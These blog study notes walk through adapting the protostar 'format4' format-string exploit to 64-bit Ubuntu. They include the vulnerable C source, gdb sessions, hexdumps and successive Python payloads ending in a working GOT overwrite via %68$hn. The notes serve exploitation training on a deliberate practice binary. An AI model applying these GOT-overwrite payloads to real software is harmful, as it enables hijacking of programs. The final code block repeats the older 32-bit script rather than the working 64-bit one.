Security_RNRF
0x41. 본문
41. Adapting the 32bit exploit to 64bit for format4 - bin.0x27
: Let’s have a look at “format4” from exploit-exercises protostar on a current ubuntu machine.
-> And this time I thought instead of building the complete exploit from the ground up, we take the old exploit that we developed for the 32bit linux image, and see if it still works.
-> Probably it won’t but then we debug it and slowly make it work on this 64bit ubuntu.
: Here is the source code again.
: format4 Code(/opt/protostar/bin/format4)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello() # 0xfixed
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1); # external libc function / GOT(exit) ---> libc (-> change the “hello()”) / GOT(= 0xfixed)
}
int main(int argc, char **argv)
{
vuln();
}
-> We have a 512 byte large buffer on the stack, which is used to read data from standard input.
-> But it only reads up to 512 bytes, so there is no buffer overflow.
-> But then this buffer is passed directly to “printf”, so we have a format string exploit.
: Our goal is it to redirect code execution to the “hello()” function.
-> Notice how here after the “printf()” we find an “exit()”?
-> Well that was intentionally placed here because exit is part of “libc”, so there will be a global offset table entry for it which we can overwrite.
-> Then when we call “exit()” here, our overwritten function would be executed instead.
-> So it’s actually a pretty straight forward format string exploit.
-> Just write to the “exit()” “GOT” entry the address of hello and you are done.
-> “Hello()” and the “GOT” table have fixed addresses and are not affected by “ASLR”.
-> At least on this ubuntu version because of the default compiler options.
: I received several comments that wrote that on their system they default to “PIE”.
-> So there the “GOT” address and the functions will be affected by “ASLR” and then I don’t think these simple cases are exploitable anymore.
-> We would require a little bit more complex examples, with more interactions, where we first can leak values to defeat “aslr”.
-> But we will slowly get there, over time.
-> Let’s not rush too quickly into those topics.
: we compile this now on our ubuntu machine and we get the old exploit code.
-> vim format4.c
-> gcc format4.c -o format4 -no-pie
-> Man this was episode “0x13”…
-> We still haven’t reached “ROP” and “ASLR”.
-> Let’s copy that python code.
-> vim format4.py
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+”X”*(512-len(s))
exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += ”%4$33956x”
exploit += “%4$n”
exploit += “%5$33616x”
exploit += “%5$n”
print pad(exploit)
-> python format4.py
$�&�BBBBCCCC%4$33956x%4$n%5$33616x%5$nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Looks good. Now I write it into a file “exp” and then we can start “gdb” with “format4” and execute it.
-> python format4.py > exp
-> cat exp
$�&�BBBBCCCC%4$33956x%4$n%5$33616x%5$nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> Run and then we pipe in the exp file as input to the program.
-> gdb format4
r < exp
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x1f
RBX: 0x7fffffffd750 --> 0xffffe240
RCX: 0x0
RDX: 0x7ffff7a3d72c (<printf_positional+2220>: mov rsi,QWORD PTR [r15+0x38])
RSI: 0x7ffff7b91760 --> 0x0
RDI: 0x0
RBP: 0x7fffffffdba0 --> 0x7fffffffe150 --> 0x7fffffffe450 --> 0x7fffffffe470 --> 0x4006e0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffff4d70 --> 0x0
RIP: 0x7ffff7a3ec8b (<printf_positional+7691>: mov DWORD PTR [rax],r14d)
R8 : 0x0
R9 : 0x6e ('n')
R10: 0x0
R11: 0x1f
R12: 0x0
R13: 0x0
R14: 0x84b4
R15: 0x7fffffffd388 --> 0xffffffff
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a3ec7e <printf_positional+7678>: jmp 0x7ffff7a3e8e1 <printf_positional+6753>
0x7ffff7a3ec83 <printf_positional+7683>: test ecx,ecx
0x7ffff7a3ec85 <printf_positional+7685>: jne 0x7ffff7a3ed90 <printf_positional+7952>
=> 0x7ffff7a3ec8b <printf_positional+7691>: mov DWORD PTR [rax],r14d
0x7ffff7a3ec8e <printf_positional+7694>: jmp 0x7ffff7a3d4b3 <printf_positional+1587>
0x7ffff7a3ec93 <printf_positional+7699>: movsxd rdx,eax
0x7ffff7a3ec96 <printf_positional+7702>: test ecx,ecx
0x7ffff7a3ec98 <printf_positional+7704>: movsx rax,ax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff4d70 --> 0x0
0008| 0x7fffffff4d78 --> 0x0
0016| 0x7fffffff4d80 --> 0x0
0024| 0x7fffffff4d88 --> 0x0
0032| 0x7fffffff4d90 --> 0x0
0040| 0x7fffffff4d98 --> 0x0
0048| 0x7fffffff4da0 --> 0x0
0056| 0x7fffffff4da8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV # segfault
0x00007ffff7a3ec8b in printf_positional (s=s@entry=0x7ffff7dd0760 <_IO_2_1_stdout_>,
format=format@entry=0x7fffffffe240 "$\227\004\b&\227\004\bBBBBCCCC%4$33956x%4$n%5$33616x%5$n", 'X' <repeats 158 times>..., readonly_format=readonly_format@entry=0x0, ap=ap@entry=0x7fffffffe160, ap_savep=ap_savep@entry=0x7fffffffdd08,
done=0x84b4, done@entry=0x10, nspecs_done=0x1, lead_str_end=<optimized out>, work_buffer=<optimized out>,
save_errno=<optimized out>, grouping=<optimized out>, thousands_sep=<optimized out>) at vfprintf.c:2022
2022 vfprintf.c: 그런 파일이나 디렉터리가 없습니다.
-> We print a lot of character, that looks good but we get a segfault.
-> We are attempting to write the value in “r15”, “0x84b4” to the address in “rax”. # “r15”??? -> “r14” (3:01) &(3:08) & (3:11)
-> And rax is obviously wrong.
-> “0x58” is “X”.
-> So this is the “%n” part of the exploit.
-> “0x84b4” is the amount of characters already printed, that’s all this empty space here, and it tried to write to the 4th value, and that turned out to be not the address anymore.
: So two things.
-> First of all obviously the amount of characters that we are writing with “%n” are wrong, we don’t even know yet what we want to write.
-> And most importantly, we are not writing to the address we have specified in the exploit. # (3:36)
-> Now with the format string offset we hit our padding. # (3:41)
: Let’s use this opportunity and get the correct addresses first.
(3:49) -> disassemble vuln
Dump of assembler code for function vuln:
0x0000000000400661 <+0>: push rbp
0x0000000000400662 <+1>: mov rbp,rsp
0x0000000000400665 <+4>: sub rsp,0x210
0x000000000040066c <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400675 <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400679 <+24>: xor eax,eax
0x000000000040067b <+26>: mov rdx,QWORD PTR [rip+0x2009ce] # 0x601050 <stdin@@GLIBC_2.2.5>
0x0000000000400682 <+33>: lea rax,[rbp-0x210]
0x0000000000400689 <+40>: mov esi,0x200
0x000000000040068e <+45>: mov rdi,rax
0x0000000000400691 <+48>: call 0x400540 <fgets@plt>
0x0000000000400696 <+53>: lea rax,[rbp-0x210]
0x000000000040069d <+60>: mov rdi,rax
0x00000000004006a0 <+63>: mov eax,0x0
0x00000000004006a5 <+68>: call 0x400530 <printf@plt>
0x00000000004006aa <+73>: mov edi,0x1
0x00000000004006af <+78>: call 0x400550 <exit@plt> # exit(1);
End of assembler dump.
-> We need the address of the “exit()” “GOT” entry, we do this by looking where it is called.
-> Then we simply disassemble the few instructions that jump to the “GOT” entry, that’s the “PLT” the procedure linkage table.
-> x/3i 0x400550
0x400550 <exit@plt>: jmp QWORD PTR [rip+0x200ae2] # 0x601038 # PLT
0x400556 <exit@plt+6>: push 0x4
0x40055b <exit@plt+11>: jmp 0x400500
-> And here it references the exit GOT entry.
-> x/gx 0x601038
0x601038: 0x0000000000400556 # jump target & hello # normal “GOT”
-> You can see it will jump to whatever address is written there, so we have to overwrite this with the address of “hello()”.
-> p hello
$1 = {<text variable, no debug info>} 0x400647 <hello> # what we want
-> And here is the address of “hello()”.
-> You can see again that only the last 2 bytes of the current “exit()” “GOT” entry and our desired “hello()” address are different. # 0556 & 0647
-> Which means we only have to overwrite those last 2 bytes.
: Let’s place these 2 new addresses in our exploit code and we can also throw away the old format modifiers.
-> The amount of characters we print is wrong and the offset doesn’t match anymore and instead we just add a bunch of “%p”, to find our new stack offset.
-> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += " %p "*16
print pad(exploit)
-> python format4.py
@`B`BBBBCCCC %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-> python format4.py > exp
-> So we write it again to a file, start “gdb” and pipe the file in as input.
-> gdb format4
-> r < exp
Starting program: /home/rnrf/format4 < exp
@`[Inferior 1 (process 2211) exited with code 01]
Warning: not running
-> Ehm… no real output? Just like an “@” and backtick?
-> Where are the addresses we leak with “%p”?
: These are the small things that can be really frustrating and this actually happened to me when I was preparing this episode.
-> I was going crazy trying to understand what the heck is happening.
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> python format4.py | ./format4
@`
-> I’m just executing it over and over again, hoping the computer would do something else.
: I’m debugging it to break before the “printf” and see that my input is passed to “printf”.
-> gdb format4
-> disassemble vuln
Dump of assembler code for function vuln:
0x0000000000400661 <+0>: push rbp
0x0000000000400662 <+1>: mov rbp,rsp
0x0000000000400665 <+4>: sub rsp,0x210
0x000000000040066c <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400675 <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400679 <+24>: xor eax,eax
0x000000000040067b <+26>: mov rdx,QWORD PTR [rip+0x2009ce] # 0x601050 <stdin@@GLIBC_2.2.5>
0x0000000000400682 <+33>: lea rax,[rbp-0x210]
0x0000000000400689 <+40>: mov esi,0x200
0x000000000040068e <+45>: mov rdi,rax
0x0000000000400691 <+48>: call 0x400540 <fgets@plt>
0x0000000000400696 <+53>: lea rax,[rbp-0x210]
0x000000000040069d <+60>: mov rdi,rax
0x00000000004006a0 <+63>: mov eax,0x0
0x00000000004006a5 <+68>: call 0x400530 <printf@plt>
0x00000000004006aa <+73>: mov edi,0x1
0x00000000004006af <+78>: call 0x400550 <exit@plt>
End of assembler dump.
-> break *0x00000000004006a5
-> r < exp
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x6022a0 (" %p %p %p %p ", 'X' <repeats 184 times>...)
RDX: 0x7ffff7dd18d0 --> 0x0
RSI: 0x7fffffffe240 --> 0x60104200601040
RDI: 0x7fffffffe240 --> 0x60104200601040
RBP: 0x7fffffffe450 --> 0x7fffffffe470 --> 0x4006e0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe240 --> 0x60104200601040
RIP: 0x4006a5 (<vuln+68>: call 0x400530 <printf@plt>)
R8 : 0x1f
R9 : 0x7fffffffe280 (" %p %p %p %p ", 'X' <repeats 184 times>...)
R10: 0x6025ff --> 0x0
R11: 0x7fffffffe41f ('X' <repeats 32 times>)
R12: 0x400560 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe550 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400696 <vuln+53>: lea rax,[rbp-0x210]
0x40069d <vuln+60>: mov rdi,rax
0x4006a0 <vuln+63>: mov eax,0x0
=> 0x4006a5 <vuln+68>: call 0x400530 <printf@plt>
0x4006aa <vuln+73>: mov edi,0x1
0x4006af <vuln+78>: call 0x400550 <exit@plt>
0x4006b4 <main>: push rbp
0x4006b5 <main+1>: mov rbp,rsp
Guessed arguments:
arg[0]: 0x7fffffffe240 --> 0x60104200601040
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe240 --> 0x60104200601040
0008| 0x7fffffffe248 ("BBBBCCCC %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p ", 'X' <repeats 128 times>...)
0016| 0x7fffffffe250 (" %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p ", 'X' <repeats 136 times>...)
0024| 0x7fffffffe258 (" %p %p %p %p %p %p %p %p %p %p %p %p %p %p ", 'X' <repeats 144 times>...)
0032| 0x7fffffffe260 (" %p %p %p %p %p %p %p %p %p %p %p %p ", 'X' <repeats 152 times>...)
0040| 0x7fffffffe268 (" %p %p %p %p %p %p %p %p %p %p ", 'X' <repeats 160 times>...)
0048| 0x7fffffffe270 (" %p %p %p %p %p %p %p %p ", 'X' <repeats 168 times>...)
0056| 0x7fffffffe278 (" %p %p %p %p %p %p ", 'X' <repeats 176 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004006a5 in vuln ()
-> But no output. But it will not.
-> If it’s not doing what i want it to do, I made a mistake.
-> I am the problem. I need to calm down, take a step back and try to figure out a way to figure out my stupid mistake.
-> So what exactly is the output we get.
-> I pipe the exploit output into “hexdump” and see that it stops after 3 characters.
-> python format4.py | ./format4 | hexdump -C
00000000 40 10 60 |@.`| # 0x601040
00000003
-> And that is our address but cut off.
-> The other address and the format string is missing.
-> python format4.py | hexdump -C
00000000 40 10 60 00 42 10 60 00 42 42 42 42 43 43 43 43 |@.`.B.`.BBBBCCCC|
00000010 20 25 70 20 20 25 70 20 20 25 70 20 20 25 70 20 | %p %p %p %p |
*
00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
*
00000200 0a |.|
00000201
-> But when I then also did the “hexdump” of the exploit I noticed the obvious mistake.
-> The address has a null-byte. And “printf” stops at a null-byte.
-> Strings are null-terminated.
(Before) -> vim format4.py
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724 # 4 bytes & no null-byte
def pad(s):
return s+”X”*(512-len(s))
exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += ”%4$33956x”
exploit += “%4$n”
exploit += “%5$33616x”
exploit += “%5$n”
print pad(exploit)
-> This was not an issue for the 32bit exploit, because there our address had also 4 bytes and thus no null-byte.
: Now on 64bit the default address is only 3 bytes.
(After) -> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040 # 3 bytes
def pad(s):
return s+"X"*(512-len(s))
exploit = ""
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
exploit += "BBBBCCCC"
exploit += " %p "*16
print pad(exploit)
-> So our next step is, we move the address at the end of our exploit.
-> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+"X"*(512-len(s)-16)
exploit = "" # “printf” must at least reach format modifiers “%p”
exploit += "BBBBCCCC" # fixed Location - so we can find a fixed offset “%7$p” (7$ = offset)
exploit += " %p "*16
exploit = pad(exploit) # pads to 512 bytes
exploit += struct.pack("I",EXIT_PLT) # 8 +
exploit += struct.pack("I",EXIT_PLT+2) # 8 # but need space for those
print pad(exploit)
-> They still get placed on the stack with the null-bytes.
-> “fgets” will read null-bytes.
-> fgets(buffer, sizeof(buffer), stdin); # read anything including null-bytes!
-> Just the “printf” format vulnerability part must not have a null-byte.
-> When we move it to the end we want it to be in a fixed location, so we add padding to our format string and then make sure we leave enough space for the two addresses at the end.
-> We are on 64bit, so we have 2 times 8 bytes, so we need 16 characters.
-> python format4.py | hexdump -C
00000000 42 42 42 42 43 43 43 43 20 25 70 20 20 25 70 20 |BBBBCCCC %p %p |
00000010 20 25 70 20 20 25 70 20 20 25 70 20 20 25 70 20 | %p %p %p %p |
*
00000040 20 25 70 20 20 25 70 20 58 58 58 58 58 58 58 58 | %p %p XXXXXXXX|
00000050 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 |XXXXXXXXXXXXXXXX|
*
000001f0 40 10 60 00 42 10 60 00 0a |@.`.B.`..|
000001f9
-> Looks good.
-> So we try that intput into “format4”.
-> python format4.py | ./format4
BBBBCCCC 0x7fffa6824130 0x7f7b994ad8d0 0x15012b0 0x1501459 0x7fffa6824180 0x4343434342424242 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x5858585858585858 0x5858585858585858 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> Looks good, we print values now.
-> But I can’t find our address.
-> Let’s actually have a lot more “%p”.
-> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+"X"*(512-len(s)-16)
exploit = ""
exploit += "BBBBCCCC"
exploit += " %p "*100
exploit = pad(exploit)
exploit += struct.pack("I",EXIT_PLT)
exploit += struct.pack("I",EXIT_PLT+2)
print pad(exploit)
-> How about 100, that fits easily in the 512 bytes.
-> python format4.py | ./format4
BBBBCCCC 0x7ffef4a767d0 0x7f7f2f9b28d0 0x19272b0 0x1927459 0x7ffef4a76820 0x4343434342424242 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x60104200601040 0x40000a 0x7f7f2f9c69a0 0x841b92a8c352f900 0x7ffef4a76a00 0x4006cd 0x7ffef4a76ae8 0x100000000 0x4006e0 0x7f7f2f5e6b97 0x1 0x7ffef4a76ae8 0x100008000 0x4006b4 (nil) 0x45903226a2c0f7fc 0x400560 0x7ffef4a76ae0 (nil) (nil) 0xba6ddbe87b20f7fc 0xbb6e6c1a799ef7fc 0x7ffe00000000 (nil) (nil) 0x7f7f2f9c6733 0x7f7f2f9ac638 0x6970e (nil) (nil) (nil) 0x400560 0x7ffef4a76ae0 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> Ok so where are they. Here they are are?
-> But that doesn’t look good.
-> They should be 2 individual values. But it’s pretty clear what happened.
-> We forgot to also encode the addresses for 64bit.
-> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+"X"*(512-len(s)-16)
exploit = ""
exploit += "BBBBCCCC"
exploit += " %p "*100
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT) # I : integer 4 bytes
exploit += struct.pack("Q",EXIT_PLT+2) # Q : unsigned longlong 8 bytes
print pad(exploit)
-> Struct pack I packs the integer in 4 bytes, but we want it packed in 8 bytes.
-> Let’s try it again.
-> python format4.py | ./format4
BBBBCCCC 0x7ffc212319a0 0x7f5fa107e8d0 0x1a7d2a0 0x1f 0x7ffc212319e0 0x4343434342424242 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x2070252020702520 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x5858585858585858 0x601040 0x601042 0x7f5fa10929a0 0x9e0eb33bfcd2ec00 0x7ffc21231bd0 0x4006cd 0x7ffc21231cb8 0x100000000 0x4006e0 0x7f5fa0cb2b97 0x1 0x7ffc21231cb8 0x100008000 0x4006b4 (nil) 0x862fe57ac5e54772 0x400560 0x7ffc21231cb0 (nil) (nil) 0x79d7a7bcffe54772 0x7890a46c9ebb4772 0x7ffc00000000 (nil) (nil) 0x7f5fa1092733 0x7f5fa1078638 0x6a1d6 (nil) (nil) (nil) 0x400560 0x7ffc21231cb0 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> Here they are. This looks good.
: Now let’s find their offset.
-> We can just count how much to the end.
-> And then subtract from 100.
-> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+"X"*(512-len(s)-16)
exploit = ""
exploit += "BBBBCCCC"
exploit += " %68$p "
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT)
exploit += struct.pack("Q",EXIT_PLT+2)
print pad(exploit)
-> So at offset 68 we should find the address. # “0x601040” = “%68$p”
-> python format4.py | ./format4
BBBBCCCC 0x601040 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX@`
-> And yes indeed.
-> There it is.
-> So now, we just have to print the correct amount of characters to write the 2 bytes.
-> Actually, we don’t need two writes, we should be able to do that in one.
-> So we add another format string with a padding of the amount of characters we want to write.
-> vim format4.py
import struct
HELLO = 0x400676
EXIT_PLT = 0x601040
def pad(s):
return s+"X"*(512-len(s)-16)
exploit = ""
exploit += "BBBBCCCC"
exploit += "%{}x".format(0x676-len(exploit))
exploit += "%68$n" # change to “n”
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT)
exploit += struct.pack("Q",EXIT_PLT+2)
print pad(exploit)
-> That would be “0x676”, minus the characters we already printed before that.
-> So basically “-8”.
-> And then we should also remove the spaces before the %n that would be another printed.
-> So it should work now, right?
-> Let’s change the %p to %n and try it!
-> python format4.py | ./format4
(8:15)
-> Segmentation fault.
-> So when I was recording all of this I really thought it should work right away.
-> But then I got the segmentation fault.
: Why did that happen?
-> When I wrote down “%n”. I realized I wrote a whole integer.
-> But I meant to write only two bytes, so I would have required “%hn”.
-> We should be able to verify this with “gdb”.
-> Let’s check it out.
-> python format4.py > exp
-> gdb format4
-> r < exp
(8:48)
-> Segfault at address “0x676”.
-> We wrote a whole integer, so we overwrote the higher bytes that were already stored in the “GOT”.
-> Let’s change it to “%hn”.
(Success) -> vim format4.py
import struct
HELLO = 0x400647
EXIT_PLT = 0x601038
def pad(s):
return s+"X"*(512-len(s)-16)
exploit = ""
exploit += "BBBBCCCC"
exploit += "%{}x".format(0x647-len(exploit))
exploit += "%68$hn"
exploit = pad(exploit)
exploit += struct.pack("Q",EXIT_PLT)
exploit += struct.pack("Q",EXIT_PLT+2)
print pad(exploit)
-> To write half a word or whatever that means. It writes 2 bytes.
-> python format4.py | ./format4
BBBBCCCC a3fed30XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX8`code execution redirected! you win
-> And that worked! code execution redirected! you win.
: You see the exploit is different from the original 32bit version. # (9:10)
-> It required quite some changes but it also kinda is still the same thing.
-> Definitely not a hard challenge on a modern system.
-> As long as you don’t compile it with “PIE”.
: That was pretty straight forward! (without PIE)
: Exploit Python Code
import struct
HELLO = 0x80484b4
EXIT_PLT = 0x8049724
def pad(s):
return s+”X”*(512-len(s))
exploit = “”
exploit += struct.pack(”I”,EXIT_PLT)
exploit += struct.pack(”I”,EXIT_PLT+2)
exploit += “BBBBCCCC”
exploit += ”%4$33956x”
exploit += “%4$n”
exploit += “%5$33616x”
exploit += “%5$n”
print pad(exploit)
